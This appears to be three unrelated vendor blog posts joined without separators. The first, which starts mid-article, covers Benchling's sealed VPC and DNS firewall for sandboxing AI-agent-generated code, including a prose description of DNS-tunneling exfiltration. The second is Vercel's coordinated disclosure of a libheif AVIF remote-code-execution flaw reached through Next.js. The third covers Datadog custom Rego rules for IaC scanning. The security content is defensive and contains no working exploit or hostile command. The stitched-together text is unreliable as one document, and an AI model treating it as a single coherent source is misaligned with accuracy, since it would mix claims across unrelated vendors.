This untrusted code account hosts AgentCore Code Interpreter (ACCI) alongside Benchling’s existing container-based execution environment, which uses gVisor (a container sandbox runtime that intercepts application system calls to provide kernel-level isolation) for per-job isolation. The gVisor environment is Benchling’s pre-existing compute isolation layer and isn’t part of the pattern prescribed in this post. Both execution environments have their own IAM roles with scoped permissions, making sure that neither can escalate access beyond its intended boundary.
When a task is dispatched from the production account to the untrusted account, data access is scoped per job. Only the specific data needed for that job is made accessible. Production account credentials and the broader customer data store are not directly exposed to untrusted code.
Maintaining one IAM role per tenant would create unsustainable role sprawl across thousands of tenants. Instead, Benchling injects credentials into each ACCI session on a per-job basis through AWS Security Token Service (AWS STS), scoping access dynamically without accumulating static roles.
The ACCI VPC is designed with a “nothing unless explicitly allowed” philosophy. There’s no internet gateway and no NAT gateway. Code running in this VPC can’t reach the internet directly. The centerpiece of the DNS exfiltration defense is Amazon Route 53 Resolver DNS Firewall. It uses a three-priority resolver policy following a denylist, allowlist, deny all pattern:
The first rule evaluated, at highest priority, blocks resolution of known unintended domains. This catches obvious threats before they hit any allow logic. For example, if Benchling identifies domains associated with known data exfiltration toolkits or command and control infrastructure, those domains are blocked at this layer regardless of any other configuration. This rule exists as a fast path for threat intelligence. Rather than relying solely on the absence of a domain from the allow list, Benchling can proactively enumerate hostile endpoints and make sure they are rejected immediately. This rule also provides observability. Queries that hit the explicit deny list generate DNS Firewall logs, signaling potential malicious activity and giving the security team an early warning that code in the sandbox is attempting suspicious resolution.
The second tier is an allow list that permits DNS resolution only for explicitly listed domains. In practice, this is limited to the S3 endpoints needed for data access and usually nothing else. The allow list is deliberately minimal because every permitted domain represents a potential exfiltration vector. Benchling scopes resolution to only the specific S3 bucket endpoints required for job execution. Even if malicious code attempts to contact a legitimate AWS service endpoint for unintended purposes, it cannot resolve that endpoint unless Benchling has explicitly approved it. This gives Benchling full ownership of the network boundary. Unlike relying on system defaults that may change between service versions, the allow list is a customer-controlled artifact that Benchling can audit, version, and update on their own schedule.
The final rule is a catch-all that returns NODATA for any DNS query not explicitly allowed by P100. This is what makes DNS exfiltration impossible. In a typical DNS tunneling attack, malicious code encodes stolen data as subdomain labels in a DNS query (for example, base64payload.example.com) and relies on recursive resolution to deliver that query to a bad actor-controlled authoritative nameserver. With this catch-all in place, every domain not on the strict allow list receives a NODATA response. There is no resolution path for encoded exfiltration queries to traverse. The DNS recursion chain is broken at the very first hop. This final rule is what transforms the VPC from “restricted” to “sealed.” Without it, any new domain or overlooked endpoint would default to permitted resolution. With it, the security posture is inverted: nothing resolves unless Benchling has made a deliberate decision to allow it.
Benchling’s Product Security team first proved this approach effective in a proof-of-concept VPC. They tested each layer of the defense individually. DNS tunneling attempts confirmed that the Route 53 Resolver DNS Firewall returned NODATA for any domain not on the explicit allow list. Direct IP connection attempts confirmed that prefix list routing and NACLs restricted traffic to port 443 and ephemeral ports only, with no path to arbitrary external hosts. API call attempts confirmed that VPC endpoint policies rejected requests targeting any S3 bucket outside the scoped set. The absence of an internet gateway, NAT gateway, and default security group meant there was simply no outbound path for traffic that bypassed these controls.
After the proof of concept validated the architecture, Benchling’s Infrastructure team incorporated these exfiltration simulations into their continuous integration test suite. The tests exercise the same vectors a real bad actor would use. These include DNS tunneling through encoded subdomain queries, direct connections to unauthorized endpoints, and attempts to reach S3 buckets outside the VPCE policy scope. If any test resolves a domain it shouldn’t, reaches an external endpoint, or moves data outside the approved buckets, the pipeline fails and blocks the release.
This approach matters because security configurations are not static. VPC settings change as infrastructure evolves, new endpoints get added to support feature development, and IAM policies are updated as teams onboard new services. Without continuous validation, a configuration that was secure at deployment time could silently degrade as the environment around it changes. By treating exfiltration resistance as a testable property rather than a one-time setup, Benchling makes sure that any future infrastructure change that inadvertently weakens the security boundary is caught before it reaches production.
With no internet gateway or NAT gateway in the VPC, AWS service access must flow through VPC endpoints. Benchling deploys a Gateway endpoint for in-region Amazon S3 access and an Interface endpoint for cross-region S3 access. Each endpoint has an attached policy that explicitly lists which S3 buckets it is permitted to reach. Any request targeting a bucket not in that policy is rejected at the network layer before it reaches S3.
This creates a defense independent of IAM. Even if untrusted code obtains valid credentials for a bucket it should not access, the endpoint policy blocks the request. Credentials restrict what a session is authorized to do, and endpoint policies restrict what the network is physically capable of delivering. Rather than granting the ACCI role broad access to all tenant buckets, Benchling injects scoped credentials into each session on a per-job basis through AWS STS. A compromised session can only reach the one tenant it was dispatched to serve.
Traffic is further constrained by prefix list routing and NACLs that restrict communication to port 443 and ephemeral return ports only. The Code Interpreter runs in a dedicated security group with no default fallback rules. There’s no port, no protocol, and no network path available for data to leave the environment except through the explicitly scoped VPC endpoints.
Benchling configures Gateway VPC endpoints for in-region S3 access and Interface VPC endpoints for cross-region S3 access. Each endpoint has an attached VPCE policy that explicitly lists only the specific S3 buckets authorized for a given execution context. Any API call targeting a bucket not in that policy is rejected at the network layer before it reaches the S3 service. This means that even if untrusted code somehow obtained valid credentials for another tenant’s bucket, the request would still fail. The network itself refuses to carry the traffic. This creates a defense independent of IAM, so credential theft alone is not sufficient to access unauthorized data.
Rather than pre-provisioning IAM roles for each of thousands of tenants, Benchling injects scoped credentials into each ACCI session through AWS Security Token Service (AWS STS). Each job receives only the permissions needed for its specific tenant’s data. The production account determines what data a job can access, generates appropriately scoped temporary credentials, and injects them into the session at dispatch time. The Code Interpreter Execution Role has S3 access restricted to the main stack bucket. At launch time, a session policy is passed into each Code Interpreter execution that restricts S3 access to the specific tenant’s path prefix within the authorized bucket. This makes sure that code running inside the sandbox can only reach data belonging to the tenant it was dispatched to serve. This is the “per-job data export scoping” shown in the architecture. Benchling evaluated the alternative of granting the ACCI role broad access to all tenant buckets and rejected it because a single compromised session would then have a path to any tenant’s data.
Beyond DNS Firewall and VPC endpoint policies, NACLs restrict traffic to port 443 and ephemeral return ports only, prefix list routing makes sure traffic can only reach VPC endpoints, and the Code Interpreter runs in a dedicated security group with no default fallback rules. The attack surface is reduced to the Code Interpreter and its scoped VPC endpoints alone.
Before adopting AgentCore, Benchling’s team evaluated building their own sandboxing solution. The requirements were clear. They needed ephemeral execution sessions, per-job isolation, no persistent state, and the ability to run inside a VPC where they could apply their own network security controls. Building this in-house would have meant designing custom container orchestration, implementing sandbox lifecycle management, and building network isolation primitives from scratch. They would also need to continuously patch security vulnerabilities while keeping pace with evolving threat vectors. This represents significant ongoing engineering investment diverted from Benchling’s core product, with no differentiation for their customers.
AgentCore Code Interpreter in VPC mode bypassed that entire workstream. Each session is isolated and short-lived, with no persistent state between jobs. AWS handles the sandbox lifecycle, including patching, scaling, and hardening the execution environment. Running Code Interpreter inside Benchling’s own locked-down VPC meant they could layer existing AWS security primitives such as DNS Firewall, VPC endpoint policies, and NACLs on top without building custom networking. This freed Benchling’s infrastructure team to focus on product security controls rather than sandbox maintenance.
“We were able to buy instead of build a secure solution with AgentCore Code Interpreter.”
— Jeremy Stashewsky, Application Security Engineer, Benchling
Since deploying AgentCore Code Interpreter in VPC mode in early April 2026, Benchling has scaled to more than 600 code execution sessions per day, serving AI agent-generated scientific workloads across more than 250 distinct tenants per week. This demonstrates broad adoption across their customer base without compromise to their security posture. Since deployment, Benchling has reported zero security incidents and zero cross-tenant data leakage.
“Giving AI agents a code interpreter is non-negotiable for the scientific accuracy our customers demand, but our threat model assumes any agent- or user-written code could be unintended. We needed a true sandbox with zero network access except for S3. AgentCore Code Interpreter in VPC mode, combined with Route 53 DNS Firewall and VPC endpoints, let us close every exfiltration vector we tested (including DNS) without building it ourselves.”
— Benchling
Running AI-generated code in a multi-tenant environment introduces exfiltration vectors that traditional sandboxing does not fully address. DNS resolution, in particular, is often overlooked because standard network controls focus on HTTP, egress ports, and direct connections. The pattern Benchling implemented provides a blueprint for closing this gap without building custom sandboxing infrastructure.
The architecture starts with account-level isolation, separating untrusted code execution from production systems entirely. Amazon Bedrock AgentCore Code Interpreter in VPC mode provides managed, ephemeral execution within that isolated account. Route 53 Resolver DNS Firewall seals the DNS exfiltration vector with a deny list, allow list, deny all policy. VPC endpoint policies restrict service access to only the specific S3 buckets each job requires. Per-job credential scoping through AWS STS makes sure that even a fully compromised session cannot reach beyond a single tenant’s data.
No single control in this architecture is sufficient on its own. It’s the combination of all these layers, validated continuously through automated testing, that bypasses entire classes of exfiltration vectors. Each layer catches what the others might miss, and the continuous validation makes sure the posture holds as infrastructure evolves.
To get started with Amazon Bedrock AgentCore Code Interpreter in VPC mode, see the Code Interpreter documentation and the VPC configuration guide. You can deploy a locked-down VPC with Route 53 DNS Firewall and VPC endpoint policies following the patterns described in this post. If you are already running untrusted code in a sandboxed environment, consider whether your current architecture accounts for DNS as an exfiltration channel, and whether you have continuous validation proving that it does.
Benchling is the AI platform for biotech R&D, unifying scientific data and automating workflows to accelerate discovery and development. Trusted by more than 1,300 companies worldwide, from pioneering startups to global leaders like Merck, Moderna, and Sanofi, Benchling gives scientists a single place to capture, connect, and act on data across the entire R&D lifecycle. With Benchling AI, agents and models work directly inside scientific workflows, grounded in structured data. The result is faster teams, better molecules, and breakthroughs that reach the world sooner.
Jeremy is an Application Security Engineer at Benchling.
Meghana is a Solutions Architect at AWS, where she partners with ISV customers to design secure, scalable multi-tenant architectures spanning data platforms and AI workloads. She is a co-author of this post and led the technical engagement with Benchling.
Anil is a Sr Solutions Architect at AWS focusing on AI/ML and agentic architectures for ISV customers. He works with partners to design and deploy secure, scalable agent solutions using Amazon Bedrock and AgentCore.
In August 2026, Hacktron reported what looked like a remote code execution (RCE) vulnerability in Next.js image optimization. Their investigation found that the vulnerable code was not in Next.js itself, but upstream in libheif, an AVIF image decoder used by Next.js, ImageMagick, WordPress, sharp, and much of the web.
Shortly after Hacktron notified us, we worked with them to reproduce the RCE against a current Next.js build and disclose it to the maintainers of sharp, libvips, and libheif. We then deployed a platform-wide mitigation on Vercel and started working with the maintainers on a fix.
Next.js image optimization lets applications resize and optimize images through the <Image> component (next/image). For AVIF images, the image-processing dependency chain is as follows:
<Image> invokes /_next/image,
/_next/image calls sharp
sharp calls libvips
libvips uses libheif to decode the image
That meant the vulnerable code was not in Next.js, but it was still reachable through Next.js image optimization. A malicious AVIF image sent to the image optimization endpoint would invoke libheif through sharp and libvips.
As such, one obvious mitigation was to disable AVIF optimization in Next.js. Malicious AVIF images would then stop at the image optimization endpoint instead of being passed through sharp and libvips to libheif. The exploit would not propagate upstream.
However, only mitigating Next.js, without an upstream fix, posed a disclosure problem.
After we worked with Hacktron to successfully reproduce the issue, we rolled out a platform-wide mitigation on Vercel and reached out to the maintainers of sharp, libvips, and libheif to disclose the vulnerability and begin working on a fix.
Here is the timeline:
August 11-12: Hacktron reported the issue to Vercel; Hacktron and Vercel reproduced the RCE with a working proof of concept.
August 13: Vercel applied a platform mitigation through its Image Optimization Service.
August 19: The Next.js team met with the libvips maintainer and began coordination across sharp, libvips, and libheif.
August 24: Next.js informed its security partners.
August 25: Next.js published a security release that disabled AVIF optimization.
The Vercel security team contacted the maintainers of sharp and libvips by email, and opened coordination with libheif through a GitHub Security Advisory. Hacktron had also submitted vulnerability and exploit details to libheif. On August 19, the Next.js team met with the libvips maintainer and aligned on the path forward across sharp, libvips, and libheif. The libheif maintainer continued remediation through Hacktron’s GitHub Security Advisory.
On August 24, Next.js informed its security partners of the libheif vulnerability and its impact on Next.js (partner notifications are a routine part of Next.js’ security release process).
On August 25, six days after the August 19 meeting, the libheif maintainer released v1.23.2, which remediated the RCE.
Securing Vercel and its customers was straightforward: all Next.js image optimization requests on Vercel go through a central Image Optimization Service. Therefore, we disabled AVIF optimization and resizing in that central service. Any incoming AVIF images were not passed to libheif for decoding and RCE was not possible on Vercel.
Protecting self-hosted applications required a Next.js release. On August 25, Next.js published a security release that had originally been planned to address a separate issue. After coordinating an upstream fix, we bundled the AVIF mitigation into that release and shipped it a day earlier than planned. The release disabled AVIF optimization and resizing in Next.js; given that the patched libheif release was still propagating downstream, this was the most timely option. We also published a security advisory to communicate the issue’s severity.
The volume of OSS vulnerabilities discovered continues to increase, and the numbers are overwhelming:
In 2026, the CVE program has published more than 35,000 CVEs.
Private vulnerability reports on GitHub grew from 500 per week in January to 3,000 per week in May.
GitHub also reported 1,560 reviewed advisories in May 2026, the highest monthly volume in the advisory database’s history.
As LLMs accelerate vulnerability research, we expect to see more upstream vulnerabilities like the libheif RCE surface across the OSS ecosystem. There have been a higher number of Next.js security releases in recent months, and we expect that trend to continue as we mitigate new vulnerabilities that both we and the research community uncover.
We are committed to proactively finding vulnerabilities before attackers, responsibly disclosing everything we find, and collaborating with researchers and maintainers on fixes.
Thanks to Hacktron for responsibly disclosing the AVIF vulnerability, working with us to reproduce the issue, and coordinating with the upstream maintainers through remediation.
We also want to thank the maintainers of sharp, libvips, and libheif. Their work on the upstream fix made coordinated remediation possible across the image processing dependency chain.
We work with a talented set of researchers to secure Next.js and other open source frameworks through Vercel's Open Source Bug Bounty. Anyone interested in contributing to the security of eligible frameworks is encouraged to participate there.
Infrastructure-as-code (IaC) security scanning can catch common misconfigurations before deployment, but every organization also has internal requirements that a default rule catalog cannot cover. For example, teams may need to enforce required tags, approved instance types, or naming conventions.
With custom rules for Datadog IaC Security, security and platform teams can define these requirements as Rego policies and run them alongside Datadog’s default rules during IaC scans.
In this post, we’ll show how you can use custom rules for Datadog IaC Security to:
IaC Security detects misconfigurations (such as missing encryption or overly permissive access) before infrastructure is deployed. Datadog continuously scans configured repositories and then links any findings about misconfigurations to the relevant repository, branch, and file path. IaC Security’s default rule catalog provides checks for common security risks, but those checks cannot account for every policy that an organization develops for its own infrastructure.
Custom rules extend default coverage with requirements that are specific to your organization. For example, you might require teams to apply a standard set of tags to Terraform resources, restrict workloads to approved instance types, or enforce internal network boundaries. You can also encode checks that support company-specific compliance requirements, rather than relying on engineers to verify these policies manually during code review.
Custom rules use Rego, the policy language from Open Policy Agent (OPA), and run alongside Datadog’s default rules during IaC scans. Custom rules support Ansible, AWS CloudFormation, Dockerfile, Kubernetes, Terraform, and GitHub Actions. After publication, a custom rule runs in subsequent scans where its specified platform applies. You can use IaC Security configuration to further control which rules run and where they apply.
To get started, navigate to the IaC Rules page and select “Create Rule.” Creating, editing, or publishing a custom rule requires the appsec_vm_write permission. As you build a custom rule, you provide a name and select its platform, category, and severity. You can optionally specify a provider and add a Common Weakness Enumeration (CWE) identifier.
Rego gives teams a flexible way to express infrastructure policies, but writing a policy from scratch normally requires knowledge of Rego. With custom rules, you can just describe the requirement in natural language, such as an internal policy for how a particular infrastructure resource should be configured. The AI rule creator can use that description to generate the Rego policy, along with a sample IaC configuration that triggers the rule. You can then review, edit, and test both directly in the editor. You can use Bits Chat to help create a policy.
When you’re creating a rule from scratch, the editor provides a starter policy and sample file. You can also clone a default or custom rule, which is useful when your requirement applies to the same platform and resource type as an existing check. Cloning copies the rule’s metadata, policy, sample file, and description so that you can then modify the new rule to reflect your organization’s requirement.
A custom policy needs to properly identify the configuration you intend to flag. To help ensure that a rule works correctly before you save it, Datadog lets you evaluate a policy in the rule editor before the rule runs against your repositories.
For example, suppose you’re creating a Terraform policy that flags an aws_s3_bucket_versioning resource when its status is explicitly set to Suspended. Start by adding a sample Terraform file containing that configuration and run the policy. The editor should return a finding for the affected status attribute. Then change the value to Enabled and run the policy again to verify that it produces no findings. If the rule needs more work, select “Save as draft” to prevent it from running during scans. When the rule is ready, select “Save and publish” to make it available for subsequent IaC scans.
Datadog also maintains a version history as custom policies change. Editing a rule creates a new version. You can review the rule’s version history, compare any two version, or restore an earlier version. Version history gives teams a record of how an organization’s infrastructure policies have changed over time and provides a path to roll back an unwanted change.
Once you publish a custom rule, its findings are available to the same workflows that incorporate Datadog’s default IaC findings. Developers can review violations directly in pull request comments, the IDE extension, and the IaC Security findings explorer. Teams can also use PR Gates to block pull requests that violate custom policies. Findings Automation Pipelines in Datadog Security can trigger automated actions based on those findings. These options let organizations act on their internal IaC standards without introducing a separate workflow.
Custom rules also use the existing IaC Security configuration model. You configure repository-wide rule settings either in Datadog or in a code-security.datadog.yaml file, including run or ignore rules, severity filters, path filters, and per-rule configuration. Inline comments support local exclusions when an exception applies to a particular line, block, or file. See the IaC Security configuration documentation for supported configuration options.
Custom IaC Security rules help teams detect organization-specific infrastructure policy violations in the same scanning workflow they use for Datadog’s default rules. By turning internal requirements into testable Rego policies, security and platform teams can reduce reliance on manual review while giving developers feedback before infrastructure changes reach production.
To create your first rule, read the IaC Custom Rules documentation. For details about supported Rego syntax, parsed IaC inputs, and platform-specific patterns, see the IaC Custom Rule Reference. You can also review the broader IaC Security documentation and our guide to improving the security of IaC deployments.
If you don’t already have a Datadog account, sign up for a 14-day free trial to start scanning your IaC configurations with Datadog.